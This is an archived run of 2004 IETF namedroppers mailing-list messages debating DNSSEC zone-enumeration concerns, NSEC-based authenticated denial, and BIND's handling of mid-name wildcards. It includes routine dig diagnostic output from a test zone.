by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4N5y-000Nw6-QU
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 17:15:59 +0000
Received: from tecotoo.localhost ([207.7.193.250]) by mx04.gis.net; Mon, 06 Sep 2004 13:15:53 -0400
Received: from tecotoo (tecotoo [127.0.0.1]) by tecotoo.localhost (NTMail 3.03.0017/1.aaaa) with ESMTP id ua000358 for ; Mon, 6 Sep 2004 13:16:40 +0100
Message-Id: <4.3.1.2.20040906131149.051714d8@pop.gis.net>
X-Sender: mayer@pop.gis.net
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 06 Sep 2004 13:16:34 -0400
To: Ben Laurie , Paul Vixie
From: Danny Mayer
Subject: Re: dictionary attack on nameservers
Cc: namedroppers@ops.ietf.org
In-Reply-To: <413C2F5A.1040104@algroup.co.uk>
References:
<20040728190530.GA22758@atoom.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Rcpt-To:
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 05:35 AM 9/6/2004, Ben Laurie wrote:
>I don't believe "competitive" is a correct characterisitaion for all
>registries, though it may be for some, and I'm not sure I agree that
>registrants do not share this interest, either. Certainly registrants
>register domains in order that a particular audience can see those
>domains, but that does not mean that all registrants want their domains to
>be visible to absolutely everyone.
I'm curious. Why would they register a domain if they didn't want
everyone to know about it? After all registering a domain means publish,
make it public and provide a means to get there. There are other ways
to provide directions to a site without registering it.
>For example, I have just registered a domain in order to get email - if I
>want to receive email from you, then I'll tell you what it is. If I don't,
>I won't. Having it published doesn't help me achieve that.
So don't register the domain. You can always just provide an IP address.
Mail servers only use the domain name to find out where to deliver the
mail.
Danny
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 13:47:45 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21134
for ; Mon, 6 Sep 2004 13:47:45 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4NYQ-00013i-ET
for namedroppers-data@psg.com; Mon, 06 Sep 2004 17:45:22 +0000
Received: from [195.82.114.197] (helo=shed.alex.org.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4NYF-00011M-Ho
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 17:45:11 +0000
Received: from [192.168.0.16] (localhost [127.0.0.1])
by shed.alex.org.uk (Postfix) with ESMTP
id 7CBF8C2DA8; Mon, 6 Sep 2004 18:45:10 +0100 (BST)
Date: Mon, 06 Sep 2004 18:44:02 +0100
From: Alex Bligh
Reply-To: Alex Bligh
To: Danny Mayer , Ben Laurie ,
Paul Vixie
Cc: namedroppers@ops.ietf.org, Alex Bligh
Subject: Re: dictionary attack on nameservers
Message-ID: <59486BB3080D927B84B74D3A@[192.168.0.16]>
In-Reply-To: <4.3.1.2.20040906131149.051714d8@pop.gis.net>
References: <20040728190530.GA22758@atoom.net>
<4.3.1.2.20040906131149.051714d8@pop.gis.net>
X-Mailer: Mulberry/3.1.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
--On 06 September 2004 13:16 -0400 Danny Mayer wrote:
> I'm curious. Why would they register a domain if they didn't want
> everyone to know about it?
I have to agree with Olaf's comment that this discussion is becoming
circular - this in particular has been covered at great length (from both
directions) before. Whilst I'm always happy to discuss Nominet's policies
etc. Olaf has made the point this is not / no longer the place to discuss
the rationale behind it. Can I suggest we either take this off-list, or go
dig up things from the archive, and provide closing statements/arguments as
requested?
Alex
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 17:42:40 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03869
for ; Mon, 6 Sep 2004 17:42:39 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4RBJ-0002hI-Nd
for namedroppers-data@psg.com; Mon, 06 Sep 2004 21:37:45 +0000
Received: from [204.152.187.1] (helo=sa.vix.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4RB9-0002es-0v
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 21:37:35 +0000
Received: from sa.vix.com (localhost [127.0.0.1])
by sa.vix.com (Postfix) with ESMTP id C004E13951
for ; Mon, 6 Sep 2004 21:37:34 +0000 (GMT)
(envelope-from vixie@sa.vix.com)
From: Paul Vixie
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
In-Reply-To: Message from Ben Laurie
of "Mon, 06 Sep 2004 10:35:22 +0100."
<413C2F5A.1040104@algroup.co.uk>
X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1
Date: Mon, 06 Sep 2004 21:37:34 +0000
Message-Id: <20040906213734.C004E13951@sa.vix.com>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
olaf said:
> > > I want to close this thread by giving every participant the
> > > opportunity to state their concluding argument in not more than 20
> > > lines of text.
i said:
> > 1: my observations are:
> > ...
> > 12: my recommendations are:
> > ...
> > 20: ...
someone else said:
> [whatever]
but i'm not debating these topics. olaf asked me to state my concluding
argument in 20 lines or less, which i've done. anyone who has a different
view, whether outright opposed to what i said or completely independent,
ought to give olaf 20 lines (or fewer) of text. as tempting as it is to
stand my ground and fight for what i believe in, that time, for nsec++, is
over.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 19:45:09 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11663
for ; Mon, 6 Sep 2004 19:45:08 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4T5y-000Gig-4I
for namedroppers-data@psg.com; Mon, 06 Sep 2004 23:40:22 +0000
Received: from [195.20.121.7] (helo=mail1.cluenet.de)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4T5n-000Gf3-EG
for namedroppers@ops.ietf.org; Mon, 06 Sep 2004 23:40:11 +0000
Received: by mail1.cluenet.de (Postfix, from userid 500)
id BA226178A4; Tue, 7 Sep 2004 01:40:10 +0200 (CEST)
Date: Tue, 7 Sep 2004 01:40:10 +0200
From: Daniel Roesen
To: namedroppers@ops.ietf.org
Subject: Re: wild cards
Message-ID: <20040906234010.GA12560@srv01.cluenet.de>
Mail-Followup-To: namedroppers@ops.ietf.org
References:
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To:
User-Agent: Mutt/1.4.1i
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00,HTML_MESSAGE
autolearn=ham version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote:
> >Issue (4b): Whether or not "*" can be in the middle of a name. There
> >was no discussion in the room on this one. The basic issue is that
> >the draft goes to great length to talk about how this is handled.
> >Later on, someone noticed that 1034 discourages this.
It seems like BIND did change behaviour server-side when loading zones
containing such wildcard constructs between 8 and 9. The SourceForge
people got bitten by that:
http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352
As of 2004-04-28 the CVS services will no longer function with the
hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS
commands to use the host cvs.sourceforge.net [...]. This issue came
about as a result of upgrading from BIND 8 to BIND 9 which doesn't
allow for a wildcard in the middle of a hostname.
Best regards,
Daniel
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 20:49:55 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16374
for ; Mon, 6 Sep 2004 20:49:54 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4U7K-000OVb-GK
for namedroppers-data@psg.com; Tue, 07 Sep 2004 00:45:50 +0000
Received: from [204.152.187.5] (helo=farside.isc.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4U6d-000OQE-Gi
for namedroppers@ops.ietf.org; Tue, 07 Sep 2004 00:45:07 +0000
Received: from drugs.dv.isc.org (localhost [IPv6:::1])
(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
(No client certificate requested)
by farside.isc.org (Postfix) with ESMTP id 6F97167524
for ; Tue, 7 Sep 2004 00:45:06 +0000 (UTC)
(envelope-from marka@isc.org)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
by drugs.dv.isc.org (8.12.11/8.12.11) with ESMTP id i870ipf3084042
for ; Tue, 7 Sep 2004 10:44:57 +1000 (EST)
(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200409070044.i870ipf3084042@drugs.dv.isc.org>
To: namedroppers@ops.ietf.org
From: Mark Andrews
Mail-Followup-To: namedroppers@ops.ietf.org
Subject: Re: wild cards
In-reply-to: Your message of "Tue, 07 Sep 2004 01:40:10 +0200."
<20040906234010.GA12560@srv01.cluenet.de>
Date: Tue, 07 Sep 2004 10:44:51 +1000
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00,HTML_MESSAGE
autolearn=ham version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
> On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote:
> > >Issue (4b): Whether or not "*" can be in the middle of a name. There
> > >was no discussion in the room on this one. The basic issue is that
> > >the draft goes to great length to talk about how this is handled.
> > >Later on, someone noticed that 1034 discourages this.
>
> It seems like BIND did change behaviour server-side when loading zones
> containing such wildcard constructs between 8 and 9. The SourceForge
> people got bitten by that:
>
> http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352
>
>
> As of 2004-04-28 the CVS services will no longer function with the
> hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS
> commands to use the host cvs.sourceforge.net [...]. This issue came
> about as a result of upgrading from BIND 8 to BIND 9 which doesn't
> allow for a wildcard in the middle of a hostname.
>
>
>
> Best regards,
> Daniel
>
> --
> to unsubscribe send a message to namedroppers-request@ops.ietf.org with
> the word 'unsubscribe' in a single line as the message text body.
> archive:
Strange as there has never been a test for this in the BIND 9.
Stranger still as they work as you would expect them to work.
NODATA responses for cvs.PROJECTNAME.sourceforge.net.example.
It really sounds like they had a hacked version of BIND 8.
Mark
drugs# dig cvs.\*.sourceforge.net.example
; <<>> DiG 8.3 <<>> cvs.*.sourceforge.net.example
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38945
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; QUERY SECTION:
;; cvs.*.sourceforge.net.example, type = A, class = IN
;; ANSWER SECTION:
cvs.*.sourceforge.net.example. 10S IN A 1.2.3.4
;; AUTHORITY SECTION:
example. 5M IN NS drugs.dv.isc.org.
;; ADDITIONAL SECTION:
drugs.dv.isc.org. 1D IN A 192.168.191.236
drugs.dv.isc.org. 1D IN AAAA 2001:470:1f00:820:208:74ff:fe9f:eeae
;; Total query time: 1 msec
;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1
;; WHEN: Tue Sep 7 10:23:15 2004
;; MSG SIZE sent: 47 rcvd: 137
drugs# dig version.bind txt chaos +norec
; <<>> DiG 8.3 <<>> version.bind txt chaos +norec
;; res options: init defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33747
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
version.bind. 0S CHAOS TXT "9.3.0rc4"
;; AUTHORITY SECTION:
version.bind. 0S CHAOS NS version.bind.
;; Total query time: 1 msec
;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1
;; WHEN: Tue Sep 7 10:23:54 2004
;; MSG SIZE sent: 30 rcvd: 65
drugs#
Restarting w/ BIND 9.2
drugs# dig cvs.\*.sourceforge.net.example
; <<>> DiG 8.3 <<>> cvs.*.sourceforge.net.example
;; res options: init recurs defnam dnsrch
Sep 07 10:29:50.502 client 127.0.0.1#2194: query: cvs.*.sourceforge.net.example IN A
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61113
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUERY SECTION:
;; cvs.*.sourceforge.net.example, type = A, class = IN
;; ANSWER SECTION:
cvs.*.sourceforge.net.example. 10S IN A 1.2.3.4
;; AUTHORITY SECTION:
example. 5M IN NS drugs.dv.isc.org.
;; Total query time: 0 msec
;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1
;; WHEN: Tue Sep 7 10:29:50 2004
;; MSG SIZE sent: 47 rcvd: 93
drugs# dig version.bind txt chaos +norec
; <<>> DiG 8.3 <<>> version.bind txt chaos +norec
;; res options: init defnam dnsrch
Sep 07 10:29:59.795 client 127.0.0.1#2903: query: version.bind CH TXT
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25799
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
version.bind. 0S CHAOS TXT "9.2.4rc8"
;; Total query time: 0 msec
;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1
;; WHEN: Tue Sep 7 10:29:59 2004
;; MSG SIZE sent: 30 rcvd: 51
drugs# dig cvs.PROJECTNAME.sourceforge.net.example
; <<>> DiG 8.3 <<>> cvs.PROJECTNAME.sourceforge.net.example
;; res options: init recurs defnam dnsrch
Sep 07 10:34:00.453 client 127.0.0.1#3451: query: cvs.PROJECTNAME.sourceforge.net.example IN A
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44941
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUERY SECTION:
;; cvs.PROJECTNAME.sourceforge.net.example, type = A, class = IN
;; AUTHORITY SECTION:
example. 1m30s IN SOA localhost.dv.isc.org. marka.isc.org. (
3721 ; serial
20M ; refresh
10M ; retry
4d4h ; expiry
1m30s ) ; minimum
;; Total query time: 1 msec
;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1
;; WHEN: Tue Sep 7 10:34:00 2004
;; MSG SIZE sent: 57 rcvd: 119
drugs#
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Mon Sep 6 21:15:28 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA17738
for ; Mon, 6 Sep 2004 21:15:27 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4UYW-0002MX-9D
for namedroppers-data@psg.com; Tue, 07 Sep 2004 01:13:56 +0000
Received: from [204.152.187.5] (helo=farside.isc.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4UYL-0002LU-HX
for namedroppers@ops.ietf.org; Tue, 07 Sep 2004 01:13:45 +0000
Received: from drugs.dv.isc.org (localhost [IPv6:::1])
(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
(No client certificate requested)
by farside.isc.org (Postfix) with ESMTP id B038F67524
for ; Tue, 7 Sep 2004 01:13:44 +0000 (UTC)
(envelope-from marka@isc.org)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
by drugs.dv.isc.org (8.12.11/8.12.11) with ESMTP id i871Dgfa084150
for ; Tue, 7 Sep 2004 11:13:42 +1000 (EST)
(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200409070113.i871Dgfa084150@drugs.dv.isc.org>
To: namedroppers@ops.ietf.org
From: Mark Andrews
Mail-Followup-To: namedroppers@ops.ietf.org
Subject: Re: wild cards
In-reply-to: Your message of "Tue, 07 Sep 2004 10:44:51 +1000."
<200409070044.i870ipf3084042@drugs.dv.isc.org>
Date: Tue, 07 Sep 2004 11:13:42 +1000
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00,HTML_MESSAGE
autolearn=ham version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
>
> > On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote:
> > > >Issue (4b): Whether or not "*" can be in the middle of a name. There
> > > >was no discussion in the room on this one. The basic issue is that
> > > >the draft goes to great length to talk about how this is handled.
> > > >Later on, someone noticed that 1034 discourages this.
> >
> > It seems like BIND did change behaviour server-side when loading zones
> > containing such wildcard constructs between 8 and 9. The SourceForge
> > people got bitten by that:
> >
> > http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352
> >
> >
> > As of 2004-04-28 the CVS services will no longer function with the
> > hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS
> > commands to use the host cvs.sourceforge.net [...]. This issue came
> > about as a result of upgrading from BIND 8 to BIND 9 which doesn't
> > allow for a wildcard in the middle of a hostname.
> >
> >
> >
> > Best regards,
> > Daniel
> >
> > --
> > to unsubscribe send a message to namedroppers-request@ops.ietf.org with
> > the word 'unsubscribe' in a single line as the message text body.
> > archive:
>
> Strange as there has never been a test for this in the BIND 9.
> Stranger still as they work as you would expect them to work.
> NODATA responses for cvs.PROJECTNAME.sourceforge.net.example.
>
> It really sounds like they had a hacked version of BIND 8.
Or on further investigation old BIND 8 versions may have
matched a single label to the "*". nlookup() has assumptions
that are not met when there is names below the wildcard.
> Mark
--
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Tue Sep 7 09:50:33 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22511
for ; Tue, 7 Sep 2004 09:50:33 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4gF2-000Auo-7h
for namedroppers-data@psg.com; Tue, 07 Sep 2004 13:42:36 +0000
Received: from [195.82.114.197] (helo=shed.alex.org.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4gEr-000AuI-FG
for namedroppers@ops.ietf.org; Tue, 07 Sep 2004 13:42:25 +0000
Received: from [192.168.100.25] (localhost [127.0.0.1])
by shed.alex.org.uk (Postfix) with ESMTP
id 562FCC2DFE; Tue, 7 Sep 2004 14:42:24 +0100 (BST)
Date: Tue, 07 Sep 2004 14:42:03 +0100
From: Alex Bligh
Reply-To: Alex Bligh
To: "Olaf M. Kolkman" , namedroppers@ops.ietf.org
Cc: Alex Bligh
Subject: Re: dictionary attack on nameservers
Message-ID: <4B0E54D7D55764813E707CF9@[192.168.100.25]>
In-Reply-To: <20040901111452.7276c683.olaf@ripe.net>
References: <20040728190530.GA22758@atoom.net>
<20040901111452.7276c683.olaf@ripe.net>
X-Mailer: Mulberry/3.1.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
--On 01 September 2004 11:14 +0200 "Olaf M. Kolkman" wrote:
> I want to close this thread by giving every participant the
> opportunity to state their concluding argument in not more than 20
> lines of text.
[ This is a response from me personally and not from Nominet/Geoff/Ben;
apologies for it being 21 lines ]
=====
Defense against Zone Enumeration is desirable for reasons including:
1. Principle of least surprise - Current DNS implementations allow it
2. Many users require it, e.g: certain registries who for honestly held
policy reasons (expounded at length, but outside IETF's remit to debate);
enterprise uses where split DNS is not feasible (e.g. web services).
3. For both, there is a qualitative difference between publishing a node &
associated RRs, and publishing an index of all nodes. For the former, and
possibly the latter, discovery of a significant number of RR's is less
undesirable than discovery of a complete or near complete zone.
4. Those registries that publish data normally do so under specific Ts&Cs,
and would chose mechanisms more efficient than DNSSEC enumeration.
5. The argument that the data is freely available "anyway", through
(for-instance) dictionary attacks, web-server logs etc. has not been
supported by empirical evidence; what empirical evidence has been put
forward suggests that not all zones are significantly susceptible to
dictionary attack, and those that are, are far from wholly susceptible.
I recommend that there should be an optional server side alternative
mechanism for authenticated denial that does not expose an index to the
zone contents, but retains protection against replay attack, and without
online signing of denials (impractical, computationally expensive, DoS
vector). This should be based upon NSEC, and making as few changes as
possible.
=====
Alex
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Tue Sep 7 14:20:36 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17610
for ; Tue, 7 Sep 2004 14:20:35 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4kTN-000IwP-Ba
for namedroppers-data@psg.com; Tue, 07 Sep 2004 18:13:41 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4kTC-000IuC-1d
for namedroppers@ops.ietf.org; Tue, 07 Sep 2004 18:13:30 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id CD36E143D5A; Tue, 7 Sep 2004 13:54:08 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 30F59143D5A;
Tue, 7 Sep 2004 13:54:08 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 3064ECF3C1;
Tue, 7 Sep 2004 14:13:26 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To: <413C692C.1060702@algroup.co.uk>
References: <413920C7.3000809@daimlerchrysler.com>
<27579.1094135350@munnari.OZ.AU>
<3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU>
<413C692C.1060702@algroup.co.uk>
Date: Tue, 7 Sep 2004 14:11:54 -0400
To: Ben Laurie
From: Edward Lewis
Subject: Re: more wild cards
Cc: Robert Elz , Kevin Darcy ,
namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 14:42 +0100 9/6/04, Ben Laurie wrote:
>What I want to know is: what does DNSSEC have to demonstrate to be sure it has
>proved there's no wildcard match? Given the apparent lack of
>clarity, can we be
>sure we know it does that currently?
To be clear, this question is getting ahead of the draft, OTOH it is
the question that spurred the writing of the draft.
If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to
provide a means for the recipient to validate the received message.
I need to tie the query to the lack of data. If I were able to sign
a tailored message - including the original query plus the empty data
return (or name error) - then all that is needed is to do that. The
recipient would see the signed denial, get the key to validate it,
and we are more or less done.
Signing a tailored response requires on-line signing. (I assume we
all have a good idea of the issues that entails.)
The NSEC approach uses precomputed statements (I assume we all know
that). Combining the NSEC statements with 4.3.2, we need to supply
one NSEC statement per "failure" to match in 4.3.2. In the case of a
name error, one error is the failure to find an exact match, a second
error is the failure to find the '*'.
That's what's needed...you'll note that there's the first level
requirement - being able to answer with a negative signed answer -
and then the second level requirement which is dependent on the
design branch. (I.e., an NSEC needed for the name and one for the
wild card - if we do NSEC.)
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Tue Sep 7 18:02:30 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11387
for ; Tue, 7 Sep 2004 18:02:29 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C4nyU-000HWC-CT
for namedroppers-data@psg.com; Tue, 07 Sep 2004 21:58:02 +0000
Received: from [66.45.230.132] (helo=spike.gnomon.org.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C4nyB-000HTN-Bi
for namedroppers@ops.ietf.org; Tue, 07 Sep 2004 21:57:43 +0000
Received: from giles.gnomon.org.uk (cpc4-cmbg2-5-0-cust162.cmbg.cable.ntl.com [81.100.86.162])
by spike.gnomon.org.uk (8.13.0/8.13.0) with ESMTP id i87LxPKe035454
(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK)
for ; Tue, 7 Sep 2004 21:59:31 GMT
(envelope-from roy+dated+1097186251.04d2f1@gnomon.org.uk)
Received: from giles.gnomon.org.uk (localhost.gnomon.org.uk [127.0.0.1])
by giles.gnomon.org.uk (8.13.0/8.13.0) with ESMTP id i87LvZEp079783
for ; Tue, 7 Sep 2004 22:57:35 +0100 (BST)
(envelope-from roy+dated+1097186251.04d2f1@giles.gnomon.org.uk)
Received: (from roy@localhost)
by giles.gnomon.org.uk (8.13.0/8.13.0/Submit) id i87LvVNl079782
for namedroppers@ops.ietf.org; Tue, 7 Sep 2004 22:57:31 +0100 (BST)
(envelope-from roy+dated+1097186251.04d2f1@giles.gnomon.org.uk)
Received: by giles.gnomon.org.uk (tmda-sendmail, from uid 559);
Tue, 07 Sep 2004 22:57:31 +0100 (BST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <16702.11978.922191.709874@giles.gnomon.org.uk>
Date: Tue, 7 Sep 2004 22:57:30 +0100
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
X-Mailer: VM 7.18 under Emacs 21.3.1
From: Roy Badami
X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes)
X-Primary-Address: roy@gnomon.org.uk
Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism)
X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a
on spike.gnomon.org.uk
X-Virus-Status: Clean
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
I hadn't been intending to respond to the chairs' call for 20-line
summaries, since I regard myself as an intersted bystander rather than
an active WG member... However Olaf contacted me privately requesting
I do so, so here goes...
--------
I regard it as highly desirably to reach some sort of consensus that
includes those ccTLDs that have concerns about enumeration, and
realistically I think that means addressing their requirements, rather
than convincing them to change their requirements. I'm pleased that
the co-chairs seem to concur that this is worth persuing...
I don't have any strong feelings as to the shape that the technical
solution should take though I note that Bloom filters have been
completely neglected in recent discussions, and I think they may still
be of possible value -- see for example Steve Bellovin's ID
http://www.research.att.com/~smb/papers/draft-bellovin-dnsext-bloomfilt-00.txt
I would argue that authenticated denial is important in a TLD, and
that provably-insecure delegations are vital, as without them the
level of security offered to customers of that TLD is diminished.
I note also that if some TLDs choose not to offer these security
guarantees, then there will be no incentive for their customers to
migrate away from transitional mechanisms such as Paul Vixie's DLV
(which does offer those guarantees, at least to participating resolvers).
-roy
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
